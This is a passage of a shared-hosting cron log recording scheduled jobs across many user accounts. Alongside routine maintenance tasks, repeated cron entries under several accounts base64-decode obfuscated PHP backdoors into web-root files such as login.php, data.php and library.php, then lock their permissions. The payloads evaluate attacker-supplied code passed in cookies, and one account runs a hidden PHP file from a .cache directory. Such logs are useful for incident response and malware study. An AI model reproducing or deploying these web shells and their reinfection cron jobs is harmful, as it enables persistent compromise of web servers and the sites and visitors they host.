2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:32:02 medusa CROND[21500]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:32:02 medusa CROND[21501]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:32:02 medusa CROND[21502]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:32:02 medusa CROND[21503]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:32:02 medusa CROND[21512]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:32:02 medusa CROND[21513]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:32:02 medusa CROND[21514]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:32:02 medusa CROND[21515]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:32:02 medusa CROND[21517]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:32:02 medusa CROND[21519]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:33:02 medusa CROND[13504]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:33:02 medusa CROND[13508]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:33:02 medusa CROND[13509]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:33:02 medusa CROND[13511]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:33:02 medusa CROND[13512]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:33:02 medusa CROND[13513]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:33:02 medusa CROND[13514]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:33:02 medusa CROND[13515]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:33:02 medusa CROND[13519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:33:02 medusa CROND[13520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:33:02 medusa CROND[13522]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:33:02 medusa CROND[13525]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:34:02 medusa CROND[5041]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:34:02 medusa CROND[5042]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:34:02 medusa CROND[5043]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:34:02 medusa CROND[5044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:34:02 medusa CROND[5045]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:34:02 medusa CROND[5046]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:34:02 medusa CROND[5047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:34:02 medusa CROND[5050]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:34:02 medusa CROND[5051]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:34:02 medusa CROND[5053]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:34:02 medusa CROND[5054]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:34:02 medusa CROND[5052]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAu